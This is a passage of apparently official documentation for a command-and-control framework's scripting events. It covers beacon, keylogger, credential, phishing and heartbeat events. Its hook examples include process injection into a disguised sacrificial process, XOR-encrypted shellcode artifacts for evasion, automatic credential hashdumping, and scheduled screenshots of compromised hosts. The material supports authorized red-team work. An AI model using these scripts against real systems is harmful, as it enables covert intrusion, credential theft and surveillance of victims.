Source: c2/handler.go SubmitResult(), c2/encrypted_handler.go SubmitResult()
screenshots¶
Fires when new screenshot data is received.
Source: c2/handler.go SubmitResult(), c2/encrypted_handler.go SubmitResult()
System Events¶
ready¶
Fires once when the team server finishes initialization. Use this for startup automation.
Source: cmd/api/main.go (after eventBus.Start)
Startup scripts
The ready event is the ideal place to initialize script state, connect to external services, or log startup messages. It fires after all scripts have been loaded and the EventBus is active.
disconnect¶
Fires when a client connection is lost.
Source: hub/cockpit_hub.go (WebSocket disconnect)
Heartbeat Events¶
The EventBus fires 12 periodic heartbeat events at fixed intervals. These are essential for building time-based automation (periodic screenshots, health checks, data collection).
| Event | Interval | Use Case |
|---|---|---|
heartbeat_1s | 1 second | Real-time monitoring, rapid polling |
heartbeat_5s | 5 seconds | Active engagement responsiveness |
heartbeat_10s | 10 seconds | Moderate-frequency tasks |
heartbeat_15s | 15 seconds | Beacon health checks |
heartbeat_30s | 30 seconds | Periodic status updates |
heartbeat_1m | 1 minute | Standard automation interval |
heartbeat_5m | 5 minutes | Periodic screenshots, data collection |
heartbeat_10m | 10 minutes | Low-frequency automation |
heartbeat_15m | 15 minutes | Reporting intervals |
heartbeat_20m | 20 minutes | Scheduled tasks |
heartbeat_30m | 30 minutes | Engagement checkpoints |
heartbeat_60m | 60 minutes | Hourly maintenance tasks |
Heartbeat events take no arguments:
on heartbeat_5m {
# Runs every 5 minutes
foreach $bid (beacon_ids()) {
if (-isactive $bid) {
bscreenshot($bid);
}
}
}
Handler performance
Heartbeat handlers fire frequently. Keep them lightweight -- avoid blocking operations or heavy computation. Use longer intervals (5m+) for resource-intensive tasks.
Profiler & Web Events¶
profiler_hit¶
Fires when the system profiler receives a visit. The profiler gathers information about visitors to your web infrastructure.
on profiler_hit {
# $1 = external IP, $2 = internal IP, $3 = user agent,
# $4 = applications, $5 = profiler token
}
| Argument | Type | Description |
|---|---|---|
$1 | string | External IP address |
$2 | string | Internal IP address (if available) |
$3 | string | User-Agent header |
$4 | string | Detected applications |
$5 | string | Profiler token |
Source: cmd/api/main.go relay message handler [RelayEventProfilerHit]
web_hit¶
Fires when the relay web server serves an HTTP request.
on web_hit {
# $1 = method, $2 = URI, $3 = remote address, $4 = user agent,
# $5 = response code, $6 = response size, $7 = handler, $8 = params, $9 = timestamp
}
| Argument | Type | Description |
|---|---|---|
$1 | string | HTTP method |
$2 | string | Requested URI |
$3 | string | Remote address |
$4 | string | User-Agent header |
$5 | string | HTTP response code |
$6 | string | Response size in bytes |
$7 | string | Handler that served the request |
$8 | string | Request parameters |
$9 | string | Timestamp |
Source: cmd/api/main.go relay message handler [RelayEventWebHit]
Phishing Events¶
These events track the lifecycle of phishing campaigns sent through Stentor's email infrastructure.
sendmail_start¶
Fires once when a phishing campaign begins sending.
on sendmail_start {
# $1 = campaign ID, $2 = target count, $3 = attachment name,
# $4 = bounce address, $5 = SMTP server, $6 = subject, $7 = template name
elog("[PHISH] Campaign $1 started: $2 targets via $5");
}
| Argument | Type | Description |
|---|---|---|
$1 | string | Campaign ID |
$2 | string | Number of targets |
$3 | string | Attachment filename |
$4 | string | Bounce/return address |
$5 | string | SMTP server |
$6 | string | Email subject |
$7 | string | Template name |
Source: service/phishing.go sendEmails() [start of method]
sendmail_pre¶
Fires before each email is sent.
| Argument | Type | Description |
|---|---|---|
$1 | string | Campaign ID |
$2 | string | Recipient email address |
Source: service/phishing.go sendEmails() [before SendCommand]
sendmail_post¶
Fires after each email is sent successfully.
| Argument | Type | Description |
|---|---|---|
$1 | string | Campaign ID |
$2 | string | Recipient email address |
$3 | string | Send status |
$4 | string | Status message |
Source: service/phishing.go sendEmails() [after UpdateTargetStatus to sent]
sendmail_done¶
Fires when a phishing campaign completes all sends.
| Argument | Type | Description |
|---|---|---|
$1 | string | Campaign ID |
Source: service/phishing.go sendEmails() [after target loop]
sendmail_error¶
Fires when a phishing email send fails.
on sendmail_error {
# $1 = campaign ID, $2 = recipient, $3 = error message
elog("[PHISH ERROR] Campaign $1 : $2 -- $3");
}
| Argument | Type | Description |
|---|---|---|
$1 | string | Campaign ID |
$2 | string | Recipient email address |
$3 | string | Error message |
Source: service/phishing.go sendEmails() [on SendCommand error]
Custom Events¶
custom_event¶
User-defined events dispatched by CNA scripts via fireEvent(). Any script can fire custom events, and any script can register handlers.
# Fire a custom event
fireEvent("my_custom_event", "arg1", "arg2");
# Handle a custom event
on my_custom_event {
println("Custom event fired: $1 $2");
}
Source: aggressor/output.go FireEvent()
custom_event_private¶
Per-script private events dispatched via fireEventPrivate(). Only handlers from the same script that fired the event will receive it.
# Fire a private event (only this script's handlers fire)
fireEventPrivate("my_private_event", "data");
# Handle the private event
on my_private_event {
println("Private: $1");
}
Source: aggressor/output.go FireEventPrivate()
Events Summary Table¶
Quick reference for all event categories:
| Category | Events | Count |
|---|---|---|
| Beacon Lifecycle | beacon_initial, beacon_initial_empty, beacon_checkin, beacon_exit, beacon_mode | 5 |
| Beacon Task/Output | beacon_tasked, beacon_input, beacon_output, beacon_output_alt, beacon_error | 5 |
| Beacon Specialized Output | beacon_output_jobs, beacon_output_ls, beacon_output_ps | 3 |
| Beacon Indicators | beacon_indicator | 1 |
| Downloads | download_start, download_complete | 2 |
| Keylogger & Screenshots | keylog_hit, screenshot | 2 |
| SSH | ssh_initial, ssh_close, ssh_output, ssh_error, ssh_tasked, ssh_input, ssh_checkin, ssh_indicator, ssh_output_alt | 9 |
| Listeners | listener_start, listener_stop, listener_error, listener_unresolved_host | 4 |
| Credentials | credential_add | 1 |
| Operators | event_join, event_quit, event_public, event_action, event_msg, event_private, event_notify | 7 |
| Data Model Updates | beacons, keystrokes, screenshots | 3 |
| System | ready, disconnect | 2 |
| Heartbeats | heartbeat_1s through heartbeat_60m | 12 |
| Profiler & Web | profiler_hit, web_hit | 2 |
| Phishing | sendmail_start, sendmail_pre, sendmail_post, sendmail_done, sendmail_error | 5 |
| Custom | custom_event, custom_event_private | 2 |
| Total | 65 |
Practical Hook Examples¶
Custom Injection Technique¶
Replace the default fork-and-run injection with a custom APC injection technique that uses a less-suspicious sacrificial process.
# custom-inject.cna -- Replace injection with QueueUserAPC + custom spawnto
set PROCESS_INJECT_SPAWN {
local('$bid $dll $arch $token');
$bid = $1;
$dll = $2;
$token = $3;
$arch = $4;
# Choose a legitimate-looking sacrificial process based on arch
if ($arch eq "x64") {
$target = "C:\\Windows\\System32\\RuntimeBroker.exe";
} else {
$target = "C:\\Windows\\SysWOW64\\RuntimeBroker.exe";
}
btask($bid, "Custom injection: APC into RuntimeBroker ($arch)");
# Use the custom spawnto and let the default injection proceed
# for the actual APC write
bspawnto($bid, $arch, $target);
return $null; # Let default handle actual injection with new spawnto
}
Custom Artifact Kit¶
Build a custom artifact generator that encrypts shellcode with a per-build XOR key.
# custom-artifact.cna -- XOR-encrypted artifact generator
set EXECUTABLE_ARTIFACT_GENERATOR {
local('$artifact $shellcode $key $encrypted $template');
$artifact = $1;
$shellcode = $2;
# Generate random XOR key
$key = rand(0xFF);
# XOR the shellcode
$encrypted = "";
for ($i = 0; $i < strlen($shellcode); $i++) {
$encrypted .= chr(asc(charAt($shellcode, $i)) ^ $key);
}
# Log the build
elog("Artifact Kit: built $artifact with XOR key $key");
# Return encrypted shellcode (loader stub handles decryption)
return build_artifact($artifact, $encrypted, $key);
}
Auto-Task on Initial Beacon¶
Automatically configure and task every new beacon with reconnaissance commands.
# auto-task.cna -- Automatic recon on new beacons
set BEACON_INITIAL_EMPTY {
local('$bid');
$bid = $1;
# Set reasonable sleep for recon phase
bsleep($bid, 15, 25);
# Run initial reconnaissance
bps($bid);
bipconfig($bid);
bwhoami($bid);
bpwd($bid);
# If admin, grab credentials immediately
if (-isadmin $bid) {
bhashdump($bid);
blog($bid, "Admin beacon -- auto-hashdump queued");
}
blog($bid, "Auto-recon complete -- $+ " . binfo($bid, "user") . " on " . binfo($bid, "computer"));
return "handled";
}
Practical Event Examples¶
Logging All Beacon Output to File¶
Create a comprehensive audit log of all beacon output for engagement reporting.
# audit-log.cna -- Log all beacon output to file
on beacon_output {
local('$bid $output $when $user $computer');
$bid = $1;
$output = $2;
$when = $3;
$user = binfo($bid, "user");
$computer = binfo($bid, "computer");
elog("[$when] [$computer\\$user] Output: $output");
}
on beacon_error {
local('$bid $msg $when');
$bid = $1;
$msg = $2;
$when = $3;
elog("[$when] [ERROR] Beacon $bid : $msg");
}
on beacon_input {
local('$bid $who $cmd $when');
$bid = $1;
$who = $2;
$cmd = $3;
$when = $4;
elog("[$when] [$who] Command: $cmd");
}
Auto-Screenshot on New Beacon¶
Capture a screenshot within 30 seconds of every new beacon check-in.
# auto-screenshot.cna -- Screenshot on initial beacon
on beacon_initial {
local('$bid');
$bid = $1;
# Wait for beacon to settle, then screenshot
bsleep($bid, 5, 0);
bscreenshot($bid);
blog($bid, "Auto-screenshot queued on initial check-in");
}
Alert on Credential Harvest¶
Send notifications when new credentials are discovered.
# cred-alert.cna -- Credential alerting pipeline
on credential_add {
local('$type $user $pass $source $host');
$type = $1;
$user = $2;
$pass = $3;
$source = $4;
$host = $5;
# Log to event log
elog("[CREDENTIAL] Type: $type | User: $user | Source: $source | Host: $host");
# Fire custom event for other scripts to consume
fireEvent("cred_alert", $type, $user, $host);
}
Heartbeat-Based Periodic Task¶
Run automated data collection on a schedule using heartbeat events.
# periodic-collect.cna -- Collect data every 10 minutes
on heartbeat_10m {
foreach $bid (beacon_ids()) {
if (-isactive $bid) {
# Only task beacons that are actively checking in
bps($bid);
blog($bid, "[auto] Periodic process listing");
}
}
}
on heartbeat_60m {
foreach $bid (beacon_ids()) {
if (-isactive $bid && -isadmin $bid) {
# Hourly screenshot from admin beacons
bscreenshot($bid);
}
}
}
See Also¶
- Function Reference -- Complete reference for
b*functions used in hook and event handlers - Headless Mode -- Running hook and event scripts without the GUI
- Evasion Kits -- Build-time payload customization (Artifact Kit, Sleep Mask Kit)